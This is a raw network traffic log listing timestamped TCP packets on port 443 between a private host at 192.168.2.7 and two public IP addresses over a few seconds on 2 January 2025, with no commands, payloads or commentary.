Jan 2, 2025 20:28:47.414774895 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.414803028 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.414828062 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.414844036 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.414879084 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.414884090 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.414896965 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.414922953 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.414938927 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.449318886 CET	49740	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.449351072 CET	443	49740	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.449825048 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.449850082 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.449904919 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.450136900 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.450148106 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.578126907 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.578178883 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.578203917 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.578231096 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.578243971 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.578264952 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.578272104 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.578305960 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.578313112 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.578351021 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.579463959 CET	49741	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.579485893 CET	443	49741	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.580265045 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.580329895 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:47.580399990 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.580626011 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:47.580641031 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.093024969 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.093234062 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.093801022 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.093877077 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.096488953 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.096596956 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.097285032 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.097381115 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.097791910 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.097800970 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.098074913 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.098186970 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.098920107 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.101808071 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.101813078 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.102073908 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.102139950 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.102725029 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.135322094 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.135390997 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.135719061 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.135725021 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.135885000 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.135889053 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.143326998 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.147331953 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.270215988 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.270284891 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.270724058 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.270735979 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.271039009 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.271044970 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.475186110 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.475632906 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.475641966 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.475697041 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.475938082 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.475971937 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.476104021 CET	443	49749	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.476157904 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.476172924 CET	49749	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.476689100 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.476728916 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.476860046 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.477695942 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.477715015 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.480413914 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.480540991 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.480554104 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.480643988 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.480691910 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.480725050 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.480873108 CET	443	49750	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.480941057 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.480941057 CET	49750	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.481302023 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.481331110 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.481481075 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.481925964 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:48.481940985 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:48.554421902 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.554486036 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.554516077 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.554548979 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.554565907 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.554620981 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.554641962 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.554862976 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.555962086 CET	49751	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.555985928 CET	443	49751	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.556513071 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.556571960 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.556713104 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.556988001 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.557002068 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.707513094 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.707564116 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.707658052 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.707689047 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.707757950 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.708524942 CET	49753	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.708532095 CET	443	49753	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.708969116 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.708987951 CET	443	49771	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:48.709162951 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.710076094 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:48.710092068 CET	443	49771	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.155123949 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.155201912 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.155900955 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.157305956 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.162986994 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.163012028 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.163382053 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.163599014 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.170723915 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.176595926 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.176688910 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.177403927 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.177465916 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.181014061 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.181024075 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.181302071 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.181379080 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.181965113 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.211334944 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.227334023 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.250871897 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.251028061 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.252057076 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.252067089 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.254456043 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.254462957 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.379715919 CET	443	49771	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.380105019 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.566632986 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.566706896 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.567816019 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.567861080 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.567863941 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.567903996 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.573050976 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.573116064 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.573137045 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.573177099 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.574039936 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.574076891 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.574084044 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.574117899 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.673785925 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.673839092 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.673845053 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.673861980 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.673887014 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.673932076 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.673938036 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.673952103 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.673974037 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.673993111 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.719026089 CET	49761	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.719072104 CET	443	49761	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.726118088 CET	49763	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.726140976 CET	443	49763	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.739129066 CET	49774	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.739176035 CET	443	49774	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.739227057 CET	49774	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.764771938 CET	49774	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.764794111 CET	443	49774	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.765250921 CET	49775	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.765289068 CET	443	49775	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.765347004 CET	49775	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.765852928 CET	49775	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.765866995 CET	443	49775	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.770015955 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.770040989 CET	443	49771	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.770406961 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:49.770411968 CET	443	49771	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:49.776377916 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.776396990 CET	443	49760	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.776407003 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.776436090 CET	49760	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.777808905 CET	49777	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.777831078 CET	443	49777	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:49.777885914 CET	49777	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.778304100 CET	49777	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:49.778315067 CET	443	49777	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.029401064 CET	49774	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.029591084 CET	49775	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.029603958 CET	49771	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.029608965 CET	49777	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.037626982 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.037667036 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.037734985 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.038307905 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.038335085 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:50.038386106 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.038992882 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.039016962 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.039073944 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.039165020 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.039180040 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.040136099 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.040150881 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:50.040270090 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.040283918 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.680536032 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:50.680622101 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.695734978 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.695820093 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.696513891 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.696559906 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.696927071 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.696945906 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:50.697206020 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:50.697253942 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.697689056 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:50.702363014 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.702373028 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.702617884 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.702652931 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.704260111 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.704642057 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.704710007 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.705431938 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.705488920 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.706870079 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.706882000 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.707118988 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.707171917 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.707468987 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:50.743334055 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:50.751331091 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:50.755345106 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.082729101 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.082793951 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.082815886 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.082892895 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.083075047 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.083106041 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.083153009 CET	443	49783	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.083153009 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.083192110 CET	49783	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.083693027 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.083728075 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.083834887 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.083862066 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.083867073 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.083909035 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.084064960 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.084075928 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.084117889 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.084131956 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.094826937 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.094913960 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.094923973 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.094995022 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095030069 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095061064 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.095192909 CET	443	49782	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.095211029 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095241070 CET	49782	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095577002 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095599890 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.095665932 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095918894 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.095932961 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.096776962 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.096826077 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.096832037 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.096843958 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.096867085 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.096900940 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.096906900 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.096951962 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.096993923 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.097487926 CET	49784	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.097496986 CET	443	49784	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.097824097 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.097847939 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.097923040 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.098093033 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.098104954 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.729875088 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.729988098 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.730664968 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.730860949 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.734385014 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.734503984 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.735199928 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.735295057 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.740066051 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.740088940 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.740281105 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.740299940 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.740407944 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.740566015 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.740628958 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.740648031 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.741039038 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.741096020 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:51.745270014 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.745428085 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.745543003 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.745676994 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.745964050 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.745975971 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.747157097 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.747168064 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.747818947 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.747829914 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.747912884 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:51.747919083 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:51.787322044 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:51.787332058 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.108309984 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.108412027 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.108424902 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.108906031 CET	443	49797	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.109029055 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.109029055 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.109561920 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.109597921 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.109613895 CET	49797	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.109786034 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.111596107 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.111610889 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.131527901 CET	443	49796	216.58.206.78	192.168.2.7
